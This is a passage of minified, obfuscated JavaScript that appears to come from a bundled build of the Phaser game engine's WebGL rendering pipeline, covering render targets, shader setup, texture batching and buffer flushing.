'copyFrame': function (_0x4079da, _0x57a5d3, _0xdcdd7f, _0x31177c, _0xa1ad4) { return this['setUtility'](this['UTILITY_PIPELINE']['copyShader'])['copyFrame'](_0x4079da, _0x57a5d3, _0xdcdd7f, _0x31177c, _0xa1ad4), this; }, 'copyToGame': function (_0x18b88f) { return this['setUtility'](this['UTILITY_PIPELINE']['copyShader'])['copyToGame'](_0x18b88f), this; }, 'drawFrame': function (_0x43495c, _0xf72dd2, _0x2e59aa, _0x37fb42) { return this['setUtility'](this['UTILITY_PIPELINE']['colorMatrixShader'])['drawFrame'](_0x43495c, _0xf72dd2, _0x2e59aa, _0x37fb42), this; }, 'blendFrames': function (_0x1e1902, _0x59e517, _0x5ad6a2, _0x23a5a6, _0x2fdd9d) { return this['setUtility'](this['UTILITY_PIPELINE']['linearShader'])['blendFrames'](_0x1e1902, _0x59e517, _0x5ad6a2, _0x23a5a6, _0x2fdd9d), this; }, 'blendFramesAdditive': function (_0x3eda88, _0x3d7323, _0x22c360, _0x5e9afa, _0x508d80) { return this['setUtility'](this['UTILITY_PIPELINE']['addShader'])['blendFramesAdditive'](_0x3eda88, _0x3d7323, _0x22c360, _0x5e9afa, _0x508d80), this; }, 'clearFrame': function (_0x9f563b, _0x297c20) { return this['UTILITY_PIPELINE']['clearFrame'](_0x9f563b, _0x297c20), this; }, 'blitFrame': function (_0x36142c, _0xe2fe20, _0x55969c, _0x2b85c6, _0x551ac0, _0x34e946) { return this['setUtility'](this['UTILITY_PIPELINE']['copyShader'])['blitFrame'](_0x36142c, _0xe2fe20, _0x55969c, _0x2b85c6, _0x551ac0, _0x34e946), this; }, 'copyFrameRect': function (_0x38c585, _0x22ef74, _0x4aa0cb, _0x34e7fc, _0xd4fc67, _0x49b16b, _0x8f7052, _0x33e77f) { return this['UTILITY_PIPELINE']['copyFrameRect'](_0x38c585, _0x22ef74, _0x4aa0cb, _0x34e7fc, _0xd4fc67, _0x49b16b, _0x8f7052, _0x33e77f), this; }, 'forceZero': function () { return this['current'] && this['current']['forceZero']; }, 'setMulti': function () { return this['set'](this['MULTI_PIPELINE']); }, 'setUtility': function (_0x65bffa) { return this['UTILITY_PIPELINE']['bind'](_0x65bffa); }, 'setFX': function () { return this['set'](this['FX_PIPELINE']); }, 'restoreContext': function () { this['rebind'](), this['pipelines']['each'](function (_0x121469, _0x2850b0) { _0x2850b0['restoreContext'](); }), _0x3e9bd9(this['postPipelineInstances'], function (_0x1c74dc) { _0x1c74dc['restoreContext'](); }); }, 'rebind': function (_0x25f1f1) { void 0x0 === _0x25f1f1 && this['previous'] && (_0x25f1f1 = this['previous']); var _0x1920f8 = this['renderer'], _0x2b0656 = _0x1920f8['gl']; _0x2b0656['disable'](_0x2b0656['DEPTH_TEST']), _0x2b0656['disable'](_0x2b0656['CULL_FACE']), _0x1920f8['hasActiveStencilMask']() ? _0x2b0656['clear'](_0x2b0656['DEPTH_BUFFER_BIT']) : (_0x2b0656['disable'](_0x2b0656['STENCIL_TEST']), _0x2b0656['clear'](_0x2b0656['DEPTH_BUFFER_BIT'] | _0x2b0656['STENCIL_BUFFER_BIT'])), _0x2b0656['viewport'](0x0, 0x0, _0x1920f8['width'], _0x1920f8['height']), _0x1920f8['currentProgram'] = null, _0x1920f8['setBlendMode'](0x0, !0x0); var _0x8c98d9 = _0x1920f8['vaoExtension']; _0x8c98d9 && _0x8c98d9['bindVertexArrayOES'](null); var _0x227d8d = this['pipelines']['entries']; for (var _0x516b70 in _0x227d8d) _0x227d8d[_0x516b70]['glReset'] = !0x0; _0x25f1f1 && (this['current'] = _0x25f1f1, _0x25f1f1['rebind']()); }, 'clear': function () { var _0x5748a3 = this['renderer']; this['flush'](), this['current'] ? (this['current']['unbind'](), this['previous'] = this['current'], this['current'] = null) : this['previous'] = null, _0x5748a3['currentProgram'] = null, _0x5748a3['setBlendMode'](0x0, !0x0); var _0x304945 = _0x5748a3['vaoExtension']; _0x304945 && _0x304945['bindVertexArrayOES'](null); }, 'getRenderTarget': function (_0x7ce3cf) { var _0x40b2ba = this['renderTargets']; if (_0x7ce3cf > this['maxDimension']) return this['targetIndex'] = _0x40b2ba['length'] - 0x3, _0x40b2ba[this['targetIndex']]; var _0xf9cbd8 = 0x3 * (_0x3e1aa3(_0x7ce3cf, this['frameInc'], 0x0, !0x0) - 0x1); return this['targetIndex'] = _0xf9cbd8, _0x40b2ba[_0xf9cbd8]; }, 'getSwapRenderTarget': function () { return this['renderTargets'][this['targetIndex'] + 0x1]; }, 'getAltSwapRenderTarget': function () { return this['renderTargets'][this['targetIndex'] + 0x2]; }, 'destroy': function () { this['flush'](), this['classes']['clear'](), this['postPipelineClasses']['clear'](), this['pipelines']['clear'](), this['renderer'] = null, this['game'] = null, this['classes'] = null, this['postPipelineClasses'] = null, this['pipelines'] = null, this['default'] = null, this['current'] = null, this['previous'] = null; } }); _0x49f318['exports'] = _0x447280; }, 0x7e2e: (_0x540f8c, _0x3939c0, _0x10e3ae) => { var _0x25b702 = _0x10e3ae(0x145db), _0x5d5b37 = _0x10e3ae(0x16957), _0x224489 = new _0x25b702({ 'initialize': function (_0x192ad0, _0x20b7cd, _0x52ada9, _0xe79454, _0x58db1a, _0x4e8503, _0x4ba20e, _0x39dcb1, _0x11719e) { void 0x0 === _0xe79454 && (_0xe79454 = 0x1), void 0x0 === _0x58db1a && (_0x58db1a = 0x0), void 0x0 === _0x4e8503 && (_0x4e8503 = !0x0), void 0x0 === _0x4ba20e && (_0x4ba20e = !0x1), void 0x0 === _0x39dcb1 && (_0x39dcb1 = !0x0), void 0x0 === _0x11719e && (_0x11719e = !0x0), this['renderer'] = _0x192ad0, this['framebuffer'] = null, this['texture'] = null, this['width'] = 0x0, this['height'] = 0x0, this['scale'] = _0xe79454, this['minFilter'] = _0x58db1a, this['autoClear'] = _0x4e8503, this['autoResize'] = !0x0, this['hasDepthBuffer'] = _0x39dcb1, this['forceClamp'] = _0x11719e, this['init'](_0x20b7cd, _0x52ada9), _0x4ba20e ? this['renderer']['on'](_0x5d5b37['RESIZE'], this['resize'], this) : this['autoResize'] = !0x1; }, 'init': function (_0x178fd0, _0x5aa706) { var _0x517cd8 = this['renderer']; this['texture'] = _0x517cd8['createTextureFromSource'](null, _0x178fd0, _0x5aa706, this['minFilter'], this['forceClamp']), this['framebuffer'] = _0x517cd8['createFramebuffer'](_0x178fd0, _0x5aa706, this['texture'], this['hasDepthBuffer']), this['width'] = _0x178fd0, this['height'] = _0x5aa706; }, 'setAutoResize': function (_0x50be56) { return _0x50be56 && !this['autoResize'] ? (this['renderer']['on'](_0x5d5b37['RESIZE'], this['resize'], this), this['autoResize'] = !0x0) : !_0x50be56 && this['autoResize'] && (this['renderer']['off'](_0x5d5b37['RESIZE'], this['resize'], this), this['autoResize'] = !0x1), this; }, 'resize': function (_0x59741d, _0x29168f) { if (this['autoResize'] && this['willResize'](_0x59741d, _0x29168f)) { var _0x41a199 = this['renderer']; _0x41a199['deleteFramebuffer'](this['framebuffer']), _0x41a199['deleteTexture'](this['texture']), this['texture'] = _0x41a199['createTextureFromSource'](null, _0x59741d, _0x29168f, this['minFilter'], this['forceClamp']), this['framebuffer'] = _0x41a199['createFramebuffer'](_0x59741d, _0x29168f, this['texture'], this['hasDepthBuffer']), this['width'] = _0x59741d, this['height'] = _0x29168f; } return this; }, 'willResize': function (_0x441199, _0x31f4ba) { return 'number' == typeof _0x441199 && 'number' == typeof _0x31f4ba && (_0x441199 = Math['round'](_0x441199 * this['scale']), _0x31f4ba = Math['round'](_0x31f4ba * this['scale']), _0x441199 = Math['max'](_0x441199, 0x1), _0x31f4ba = Math['max'](_0x31f4ba, 0x1), _0x441199 !== this['width'] || _0x31f4ba !== this['height']); }, 'bind': function (_0x501563, _0x2839ce, _0x10cfb3) { void 0x0 === _0x501563 && (_0x501563 = !0x1); var _0x54fdfe = this['renderer']; if (_0x501563 && _0x54fdfe['flush'](), _0x2839ce && _0x10cfb3 && this['resize'](_0x2839ce, _0x10cfb3), _0x54fdfe['pushFramebuffer'](this['framebuffer'], !0x1, !0x1), _0x501563 && this['adjustViewport'](), this['autoClear']) { var _0x2f3eaa = this['renderer']['gl']; _0x2f3eaa['clearColor'](0x0, 0x0, 0x0, 0x0), _0x2f3eaa['clear'](_0x2f3eaa['COLOR_BUFFER_BIT']); } _0x54fdfe['clearStencilMask'](); }, 'adjustViewport': function () { var _0x23e56a = this['renderer']['gl']; _0x23e56a['viewport'](0x0, 0x0, this['width'], this['height']), _0x23e56a['disable'](_0x23e56a['SCISSOR_TEST']); }, 'clear': function (_0x260cc4, _0x4ec84f, _0x3f60cf, _0x40d3d3) { var _0x93162a = this['renderer'], _0x4afdab = _0x93162a['gl']; _0x93162a['pushFramebuffer'](this['framebuffer']), void 0x0 !== _0x260cc4 && void 0x0 !== _0x4ec84f && void 0x0 !== _0x3f60cf && void 0x0 !== _0x40d3d3 ? (_0x4afdab['enable'](_0x4afdab['SCISSOR_TEST']), _0x4afdab['scissor'](_0x260cc4, _0x4ec84f, _0x3f60cf, _0x40d3d3)) : _0x4afdab['disable'](_0x4afdab['SCISSOR_TEST']), _0x4afdab['clearColor'](0x0, 0x0, 0x0, 0x0), _0x4afdab['clear'](_0x4afdab['COLOR_BUFFER_BIT']), _0x93162a['popFramebuffer'](), _0x93162a['resetScissor'](); }, 'unbind': function (_0x500457) { void 0x0 === _0x500457 && (_0x500457 = !0x1); var _0x12b563 = this['renderer']; return _0x500457 && _0x12b563['flush'](), _0x12b563['popFramebuffer'](); }, 'destroy': function () { var _0x169a11 = this['renderer']; _0x169a11['off'](_0x5d5b37['RESIZE'], this['resize'], this), _0x169a11['deleteFramebuffer'](this['framebuffer']), _0x169a11['deleteTexture'](this['texture']), this['renderer'] = null, this['framebuffer'] = null, this['texture'] = null; } }); _0x540f8c['exports'] = _0x224489; }, 0x1139a: _0x388ae2 => { _0x388ae2['exports'] = { 'getTintFromFloats': function (_0x2a2931, _0x24d396, _0x532841, _0x365223) { return ((0xff & (0xff * _0x365223 | 0x0)) << 0x18 | (0xff & (0xff * _0x2a2931 | 0x0)) << 0x10 | (0xff & (0xff * _0x24d396 | 0x0)) << 0x8 | 0xff & (0xff * _0x532841 | 0x0)) >>> 0x0; }, 'getTintAppendFloatAlpha': function (_0x36a46a, _0x25268f) { return ((0xff & (0xff * _0x25268f | 0x0)) << 0x18 | _0x36a46a) >>> 0x0; }, 'getTintAppendFloatAlphaAndSwap': function (_0x2e118f, _0x1af112) { return ((0xff & (0xff * _0x1af112 | 0x0)) << 0x18 | (0xff & (0x0 | _0x2e118f)) << 0x10 | (0xff & (_0x2e118f >> 0x8 | 0x0)) << 0x8 | 0xff & (_0x2e118f >> 0x10 | 0x0)) >>> 0x0; }, 'getFloatsFromUintRGB': function (_0x27e1a0) { return [(0xff & (_0x27e1a0 >> 0x10 | 0x0)) / 0xff, (0xff & (_0x27e1a0 >> 0x8 | 0x0)) / 0xff, (0xff & (0x0 | _0x27e1a0)) / 0xff]; }, 'checkShaderMax': function (_0x4ae2c8, _0x3eb8fe) { var _0xce9ed7 = Math['min'](0x10, _0x4ae2c8['getParameter'](_0x4ae2c8['MAX_TEXTURE_IMAGE_UNITS'])); return _0x3eb8fe && -0x1 !== _0x3eb8fe ? Math['min'](_0xce9ed7, _0x3eb8fe) : _0xce9ed7; }, 'parseFragmentShaderMaxTextures': function (_0x5a5f0c, _0x44e87e) { if (!_0x5a5f0c) return ''; for (var _0x224d90 = '', _0x2da578 = 0x0; _0x2da578 < _0x44e87e; _0x2da578++)_0x2da578 > 0x0 && (_0x224d90 += '\x0a\x09else\x20'), _0x2da578 < _0x44e87e - 0x1 && (_0x224d90 += 'if\x20(outTexId\x20<\x20' + _0x2da578 + '.5)'), _0x224d90 += '\x0a\x09{', _0x224d90 += '\x0a\x09\x09texture\x20=\x20texture2D(uMainSampler[' + _0x2da578 + '],\x20outTexCoord);', _0x224d90 += '\x0a\x09}'; return (_0x5a5f0c = _0x5a5f0c['replace'](/%count%/gi, _0x44e87e['toString']()))['replace'](/%forloop%/gi, _0x224d90); }, 'setGlowQuality': function (_0x33f75e, _0x32815e, _0x386a2c, _0x2dbbaa) { return void 0x0 === _0x386a2c && (_0x386a2c = _0x32815e['config']['glowFXQuality']), void 0x0 === _0x2dbbaa && (_0x2dbbaa = _0x32815e['config']['glowFXDistance']), _0x33f75e = (_0x33f75e = _0x33f75e['replace'](/__SIZE__/gi, (0x1 / _0x386a2c / _0x2dbbaa)['toFixed'](0x7)))['replace'](/__DIST__/gi, _0x2dbbaa['toFixed'](0x0) + '.0'); } }; }, 0x71ac: (_0x578ed5, _0x475e2c, _0x46ae1a) => { var _0x44c9e0 = _0x46ae1a(0x145db), _0x1586f9 = _0x46ae1a(0xf4b4), _0x44a0a1 = _0x46ae1a(0xc668), _0x4642c0 = _0x46ae1a(0x12d1d), _0x306178 = _0x46ae1a(0x17534), _0x1780b9 = _0x46ae1a(0x93eb), _0x3b4b15 = _0x46ae1a(0x16957), _0x5e8763 = _0x46ae1a(0x7e2e), _0x1f7321 = _0x46ae1a(0x1139a), _0x7462b4 = _0x46ae1a(0x971b), _0x2c84e1 = new _0x44c9e0({ 'Extends': _0x44a0a1, 'initialize': function (_0x36c9a7) { _0x44a0a1['call'](this); var _0x4b85dc = _0x36c9a7['game'], _0x2b3091 = _0x4b85dc['renderer'], _0x52f918 = _0x2b3091['gl']; this['name'] = _0x306178(_0x36c9a7, 'name', 'WebGLPipeline'), this['game'] = _0x4b85dc, this['renderer'] = _0x2b3091, this['manager'], this['gl'] = _0x52f918, this['view'] = _0x4b85dc['canvas'], this['width'] = 0x0, this['height'] = 0x0, this['vertexCount'] = 0x0, this['vertexCapacity'] = 0x0, this['vertexData'], this['vertexBuffer'], this['activeBuffer'], this['topology'] = _0x306178(_0x36c9a7, 'topology', _0x52f918['TRIANGLES']), this['bytes'], this['vertexViewF32'], this['vertexViewU32'], this['active'] = !0x0, this['forceZero'] = _0x306178(_0x36c9a7, 'forceZero', !0x1), this['hasBooted'] = !0x1, this['isPostFX'] = !0x1, this['isPreFX'] = !0x1, this['renderTargets'] = [], this['currentRenderTarget'], this['shaders'] = [], this['currentShader'], this['projectionMatrix'], this['projectionWidth'] = 0x0, this['projectionHeight'] = 0x0, this['config'] = _0x36c9a7, this['glReset'] = !0x1, this['batch'] = [], this['currentBatch'] = null, this['currentTexture'] = null, this['currentUnit'] = 0x0, this['activeTextures'] = [], this['resizeUniform'] = _0x306178(_0x36c9a7, 'resizeUniform', ''); }, 'boot': function () { var _0x2ccadd, _0x207054 = this['gl'], _0x239d1c = this['config'], _0x4d193b = this['renderer']; this['isPostFX'] || (this['projectionMatrix'] = new _0x1780b9()['identity']()); var _0xa2ba66 = this['renderTargets'], _0x3abc1c = _0x306178(_0x239d1c, 'renderTarget', !0x1); 'boolean' == typeof _0x3abc1c && _0x3abc1c && (_0x3abc1c = 0x1); var _0x54abdf = _0x4d193b['width'], _0x1eaf69 = _0x4d193b['height']; if ('number' == typeof _0x3abc1c) { for (_0x2ccadd = 0x0; _0x2ccadd < _0x3abc1c; _0x2ccadd++)_0xa2ba66['push'](new _0x5e8763(_0x4d193b, _0x54abdf, _0x1eaf69, 0x1, 0x0, !0x0)); } else { if (Array['isArray'](_0x3abc1c)) for (_0x2ccadd = 0x0; _0x2ccadd < _0x3abc1c['length']; _0x2ccadd++) { var _0x67d95 = _0x306178(_0x3abc1c[_0x2ccadd], 'scale', 0x1), _0x380b11 = _0x306178(_0x3abc1c[_0x2ccadd], 'minFilter', 0x0), _0xd6bec4 = _0x306178(_0x3abc1c[_0x2ccadd], 'autoClear', 0x1), _0x28f85f = _0x306178(_0x3abc1c[_0x2ccadd], 'autoResize', !0x1), _0x2a8fd3 = _0x306178(_0x3abc1c[_0x2ccadd], 'width', null), _0x5de064 = _0x306178(_0x3abc1c[_0x2ccadd], 'height', _0x2a8fd3); _0x2a8fd3 ? _0xa2ba66['push'](new _0x5e8763(_0x4d193b, _0x2a8fd3, _0x5de064, 0x1, _0x380b11, _0xd6bec4, _0x28f85f)) : _0xa2ba66['push'](new _0x5e8763(_0x4d193b, _0x54abdf, _0x1eaf69, _0x67d95, _0x380b11, _0xd6bec4, _0x28f85f)); } } _0xa2ba66['length'] && (this['currentRenderTarget'] = _0xa2ba66[0x0]), this['setShadersFromConfig'](_0x239d1c); var _0x53ead3 = this['shaders'], _0x533d05 = 0x0; for (_0x2ccadd = 0x0; _0x2ccadd < _0x53ead3['length']; _0x2ccadd++)_0x53ead3[_0x2ccadd]['vertexSize'] > _0x533d05 && (_0x533d05 = _0x53ead3[_0x2ccadd]['vertexSize']); var _0x489d96 = _0x306178(_0x239d1c, 'batchSize', _0x4d193b['config']['batchSize']); this['vertexCapacity'] = 0x6 * _0x489d96; var _0x12ac77 = new ArrayBuffer(this['vertexCapacity'] * _0x533d05); this['vertexData'] = _0x12ac77, this['bytes'] = new Uint8Array(_0x12ac77), this['vertexViewF32'] = new Float32Array(_0x12ac77), this['vertexViewU32'] = new Uint32Array(_0x12ac77); var _0xc344b0 = _0x306178(_0x239d1c, 'vertices', null); for (_0xc344b0 ? (this['vertexViewF32']['set'](_0xc344b0), this['vertexBuffer'] = _0x4d193b['createVertexBuffer'](_0x12ac77, _0x207054['STATIC_DRAW'])) : this['vertexBuffer'] = _0x4d193b['createVertexBuffer'](_0x12ac77['byteLength'], _0x207054['DYNAMIC_DRAW']), this['setVertexBuffer'](), _0x2ccadd = _0x53ead3['length'] - 0x1; _0x2ccadd >= 0x0; _0x2ccadd--)_0x53ead3[_0x2ccadd]['rebind'](); this['hasBooted'] = !0x0, _0x4d193b['on'](_0x3b4b15['RESIZE'], this['resize'], this), _0x4d193b['on'](_0x3b4b15['PRE_RENDER'], this['onPreRender'], this), _0x4d193b['on'](_0x3b4b15['RENDER'], this['onRender'], this), _0x4d193b['on'](_0x3b4b15['POST_RENDER'], this['onPostRender'], this), this['emit'](_0x4642c0['BOOT'], this), this['onBoot'](); }, 'onBoot': function () { }, 'onResize': function () { }, 'setShader': function (_0x87d8de, _0xa18cc6, _0x33fdb8) { var _0x529eb7 = this['renderer']; return _0x87d8de === this['currentShader'] && _0x529eb7['currentProgram'] === this['currentShader']['program'] || (this['flush'](), this['setVertexBuffer'](_0x33fdb8) && !_0xa18cc6 && (_0xa18cc6 = !0x0), _0x87d8de['bind'](_0xa18cc6, !0x1), this['currentShader'] = _0x87d8de), this; }, 'getShaderByName': function (_0x3523b3) { for (var _0x5a288a = this['shaders'], _0x432c7f = 0x0; _0x432c7f < _0x5a288a['length']; _0x432c7f++)if (_0x5a288a[_0x432c7f]['name'] === _0x3523b3) return _0x5a288a[_0x432c7f]; }, 'setShadersFromConfig': function (_0xc12d50) { var _0x4baf84, _0xe1d3b2 = this['shaders'], _0x119bf5 = this['renderer']; for (_0x4baf84 = 0x0; _0x4baf84 < _0xe1d3b2['length']; _0x4baf84++)_0xe1d3b2[_0x4baf84]['destroy'](); var _0x69520d = 'vertShader', _0x4a7028 = 'fragShader', _0x206cd8 = 'attributes', _0x27407f = _0x306178(_0xc12d50, _0x69520d, null), _0x14c416 = _0x1f7321['parseFragmentShaderMaxTextures'](_0x306178(_0xc12d50, _0x4a7028, null), _0x119bf5['maxTextures']), _0x5e6102 = _0x306178(_0xc12d50, _0x206cd8, null), _0x528b24 = _0x306178(_0xc12d50, 'shaders', []), _0x510a95 = _0x528b24['length']; if (0x0 === _0x510a95) _0x27407f && _0x14c416 && (this['shaders'] = [new _0x7462b4(this, 'default', _0x27407f, _0x14c416, _0x1586f9(_0x5e6102))]); else { var _0x240c75 = []; for (_0x4baf84 = 0x0; _0x4baf84 < _0x510a95; _0x4baf84++) { var _0x3861cb, _0x224160, _0x5ba6b2, _0x58de60, _0xc78837 = _0x528b24[_0x4baf84]; if ('string' == typeof _0xc78837 ? (_0x3861cb = 'default', _0x224160 = _0x27407f, _0x5ba6b2 = _0x1f7321['parseFragmentShaderMaxTextures'](_0xc78837, _0x119bf5['maxTextures']), _0x58de60 = _0x5e6102) : (_0x3861cb = _0x306178(_0xc78837, 'name', 'default'), _0x224160 = _0x306178(_0xc78837, _0x69520d, _0x27407f), _0x5ba6b2 = _0x1f7321['parseFragmentShaderMaxTextures'](_0x306178(_0xc78837, _0x4a7028, _0x14c416), _0x119bf5['maxTextures']), _0x58de60 = _0x306178(_0xc78837, _0x206cd8, _0x5e6102)), 'default' === _0x3861cb) { var _0x3d9f6b = _0x5ba6b2['split']('\x0a')[0x0]['trim'](); _0x3d9f6b['indexOf']('#define\x20SHADER_NAME') > -0x1 && (_0x3861cb = _0x3d9f6b['substring'](0x14)); } _0x224160 && _0x5ba6b2 && _0x240c75['push'](new _0x7462b4(this, _0x3861cb, _0x224160, _0x5ba6b2, _0x1586f9(_0x58de60))); } this['shaders'] = _0x240c75; } return 0x0 === this['shaders']['length'] || (this['currentShader'] = this['shaders'][0x0]), this; }, 'createBatch': function (_0x3050b3) { return this['currentBatch'] = { 'start': this['vertexCount'], 'count': 0x0, 'texture': [_0x3050b3], 'unit': 0x0, 'maxUnit': 0x0 }, this['currentUnit'] = 0x0, this['currentTexture'] = _0x3050b3, this['batch']['push'](this['currentBatch']), 0x0; }, 'addTextureToBatch': function (_0x255c5f) { var _0x118d4a = this['currentBatch']; _0x118d4a && (_0x118d4a['texture']['push'](_0x255c5f), _0x118d4a['unit']++, _0x118d4a['maxUnit']++); }, 'pushBatch': function (_0x4edd15) { if (!this['currentBatch'] || this['forceZero'] && _0x4edd15 !== this['currentTexture']) return this['createBatch'](_0x4edd15); if (_0x4edd15 === this['currentTexture']) return this['currentUnit']; var _0x516730 = this['currentBatch'], _0x16f373 = _0x516730['texture']['indexOf'](_0x4edd15); return -0x1 === _0x16f373 ? _0x516730['texture']['length'] === this['renderer']['maxTextures'] ? this['createBatch'](_0x4edd15) : (_0x516730['unit']++, _0x516730['maxUnit']++, _0x516730['texture']['push'](_0x4edd15), this['currentUnit'] = _0x516730['unit'], this['currentTexture'] = _0x4edd15, _0x516730['unit']) : (this['currentUnit'] = _0x16f373, this['currentTexture'] = _0x4edd15, _0x16f373); }, 'setGameObject': function (_0x3142bf, _0x29efe7) { return void 0x0 === _0x29efe7 && (_0x29efe7 = _0x3142bf['frame']), this['pushBatch'](_0x29efe7['source']['glTexture']); }, 'shouldFlush': function (_0x53b71c) { return void 0x0 === _0x53b71c && (_0x53b71c = 0x0), this['vertexCount'] + _0x53b71c > this['vertexCapacity']; }, 'vertexAvailable': function () { return this['vertexCapacity'] - this['vertexCount']; }, 'resize': function (_0x55640c, _0x46b986) { _0x55640c === this['width'] && _0x46b986 === this['height'] || this['flush'](), this['width'] = _0x55640c, this['height'] = _0x46b986; for (var _0x4c9216 = this['renderTargets'], _0x3d9273 = 0x0; _0x3d9273 < _0x4c9216['length']; _0x3d9273++)_0x4c9216[_0x3d9273]['resize'](_0x55640c, _0x46b986); return this['setProjectionMatrix'](_0x55640c, _0x46b986), this['resizeUniform'] && this['set2f'](this['resizeUniform'], _0x55640c, _0x46b986), this['emit'](_0x4642c0['RESIZE'], _0x55640c, _0x46b986, this), this['onResize'](_0x55640c, _0x46b986), this; }, 'setProjectionMatrix': function (_0x1dbfc8, _0x408f2d) { var _0x56a632 = this['projectionMatrix']; if (!_0x56a632) return this; this['projectionWidth'] = _0x1dbfc8, this['projectionHeight'] = _0x408f2d, _0x56a632['ortho'](0x0, _0x1dbfc8, _0x408f2d, 0x0, -0x3e8, 0x3e8); for (var _0x1d1f54 = this['shaders'], _0x1ef401 = 'uProjectionMatrix', _0x2c8559 = 0x0; _0x2c8559 < _0x1d1f54['length']; _0x2c8559++) { var _0x3a034b = _0x1d1f54[_0x2c8559]; _0x3a034b['hasUniform'](_0x1ef401) && (_0x3a034b['resetUniform'](_0x1ef401), _0x3a034b['setMatrix4fv'](_0x1ef401, !0x1, _0x56a632['val'], _0x3a034b)); } return this; }, 'flipProjectionMatrix': function (_0x313775) { void 0x0 === _0x313775 && (_0x313775 = !0x0); var _0x14edb7 = this['projectionMatrix']; if (!_0x14edb7) return this; var _0x1319be = this['projectionWidth'], _0x433738 = this['projectionHeight']; _0x313775 ? _0x14edb7['ortho'](0x0, _0x1319be, 0x0, _0x433738, -0x3e8, 0x3e8) : _0x14edb7['ortho'](0x0, _0x1319be, _0x433738, 0x0, -0x3e8, 0x3e8), this['setMatrix4fv']('uProjectionMatrix', !0x1, _0x14edb7['val']); }, 'updateProjectionMatrix': function () { if (this['projectionMatrix']) { var _0x38259a = this['renderer']['projectionWidth'], _0x100e4f = this['renderer']['projectionHeight']; this['projectionWidth'] === _0x38259a && this['projectionHeight'] === _0x100e4f || this['setProjectionMatrix'](_0x38259a, _0x100e4f); } }, 'bind': function (_0x4a1ab4) { if (void 0x0 === _0x4a1ab4 && (_0x4a1ab4 = this['currentShader']), this['glReset']) return this['rebind'](_0x4a1ab4); var _0x40619b = !0x1, _0x2f0d62 = this['gl']; return _0x2f0d62['getParameter'](_0x2f0d62['ARRAY_BUFFER_BINDING']) !== this['vertexBuffer'] && (_0x2f0d62['bindBuffer'](_0x2f0d62['ARRAY_BUFFER'], this['vertexBuffer']['webGLBuffer']), this['activeBuffer'] = this['vertexBuffer'], _0x40619b = !0x0), _0x4a1ab4['bind'](_0x40619b), this['currentShader'] = _0x4a1ab4, this['activeTextures']['length'] = 0x0, this['emit'](_0x4642c0['BIND'], this, _0x4a1ab4), this['onActive'](_0x4a1ab4), this; }, 'rebind': function (_0x575408) { this['activeBuffer'] = null, this['setVertexBuffer'](); for (var _0x1fb494 = this['shaders'], _0x1af115 = _0x1fb494['length'] - 0x1; _0x1af115 >= 0x0; _0x1af115--) { var _0x3459c8 = _0x1fb494[_0x1af115]['rebind'](); _0x575408 && _0x3459c8 !== _0x575408 || (this['currentShader'] = _0x3459c8); } return this['activeTextures']['length'] = 0x0, this['emit'](_0x4642c0['REBIND'], this['currentShader']), this['onActive'](this['currentShader']), this['onRebind'](), this['glReset'] = !0x1, this; }, 'restoreContext': function () { var _0x5c3950 = this['shaders'], _0x2cb127 = !!this['vertexBuffer']; this['activeBuffer'] = null, this['activeTextures']['length'] = 0x0, this['batch']['length'] = 0x0, this['currentBatch'] = null, this['currentTexture'] = null, this['currentUnit'] = 0x0, _0x2cb127 && this['setVertexBuffer'](); for (var _0x17a28d = 0x0; _0x17a28d < _0x5c3950['length']; _0x17a28d++) { var _0x3f187e = _0x5c3950[_0x17a28d]; _0x3f187e['syncUniforms'](), _0x2cb127 && _0x3f187e['rebind'](); } }, 'setVertexBuffer': function (_0x45702f) { if (void 0x0 === _0x45702f && (_0x45702f = this['vertexBuffer']), _0x45702f !== this['activeBuffer']) { var _0xc07d7f = this['gl']; return this['gl']['bindBuffer'](_0xc07d7f['ARRAY_BUFFER'], _0x45702f['webGLBuffer']), this['activeBuffer'] = _0x45702f, !0x0; } return !0x1; }, 'preBatch': function (_0x14ad51) { return this['currentRenderTarget'] && this['currentRenderTarget']['bind'](), this['onPreBatch'](_0x14ad51), this; }, 'postBatch': function (_0x46b615) { return this['onDraw'](this['currentRenderTarget']), this['onPostBatch'](_0x46b615), this; }, 'onDraw': function () { }, 'unbind': function () { this['currentRenderTarget'] && this['currentRenderTarget']['unbind'](); }, 'flush': function (_0x31e907) { if (void 0x0 === _0x31e907 && (_0x31e907 = !0x1), this['vertexCount'] > 0x0) { this['emit'](_0x4642c0['BEFORE_FLUSH'], this, _0x31e907), this['onBeforeFlush'](_0x31e907); var _0x4610aa = this['gl'], _0x1c9d6a = this['vertexCount'], _0x530527 = this['currentShader']['vertexSize'], _0x5a3087 = this['topology']; if (this['active']) { var _0x16cd77, _0x5e2835, _0x9ad7ab; this['setVertexBuffer'](), _0x1c9d6a === this['vertexCapacity'] ? _0x4610aa['bufferData'](_0x4610aa['ARRAY_BUFFER'], this['vertexData'], _0x4610aa['DYNAMIC_DRAW']) : _0x4610aa['bufferSubData'](_0x4610aa['ARRAY_BUFFER'], 0x0, this['bytes']['subarray'](0x0, _0x1c9d6a * _0x530527)); var _0x17be5e = this['batch'], _0x3c14b0 = this['activeTextures']; if (this['forceZero']) { for (_0x3c14b0[0x0] || _0x4610aa['activeTexture'](_0x4610aa['TEXTURE0']), _0x16cd77 = 0x0; _0x16cd77 < _0x17be5e['length']; _0x16cd77++)_0x9ad7ab = (_0x5e2835 = _0x17be5e[_0x16cd77])['texture'][0x0], _0x3c14b0[0x0] !== _0x9ad7ab && (_0x4610aa['bindTexture'](_0x4610aa['TEXTURE_2D'], _0x9ad7ab['webGLTexture']), _0x3c14b0[0x0] = _0x9ad7ab), _0x4610aa['drawArrays'](_0x5a3087, _0x5e2835['start'], _0x5e2835['count']); } else for (_0x16cd77 = 0x0; _0x16cd77 < _0x17be5e['length']; _0x16cd77++) { _0x5e2835 = _0x17be5e[_0x16cd77]; for (var _0x1447ec = 0x0; _0x1447ec <= _0x5e2835['maxUnit']; _0x1447ec++)_0x9ad7ab = _0x5e2835['texture'][_0x1447ec], _0x3c14b0[_0x1447ec] !== _0x9ad7ab && (_0x4610aa['activeTexture'](_0x4610aa['TEXTURE0'] + _0x1447ec), _0x4610aa['bindTexture'](_0x4610aa['TEXTURE_2D'], _0x9ad7ab['webGLTexture']), _0x3c14b0[_0x1447ec] = _0x9ad7ab); _0x4610aa['drawArrays'](_0x5a3087, _0x5e2835['start'], _0x5e2835['count']); } } this['vertexCount'] = 0x0, this['batch']['length'] = 0x0, this['currentBatch'] = null, this['currentTexture'] = null, this['currentUnit'] = 0x0, this['emit'](_0x4642c0['AFTER_FLUSH'], this, _0x31e907), this['onAfterFlush'](_0x31e907); } return this; }, 'onActive': function () { }, 'onBind': 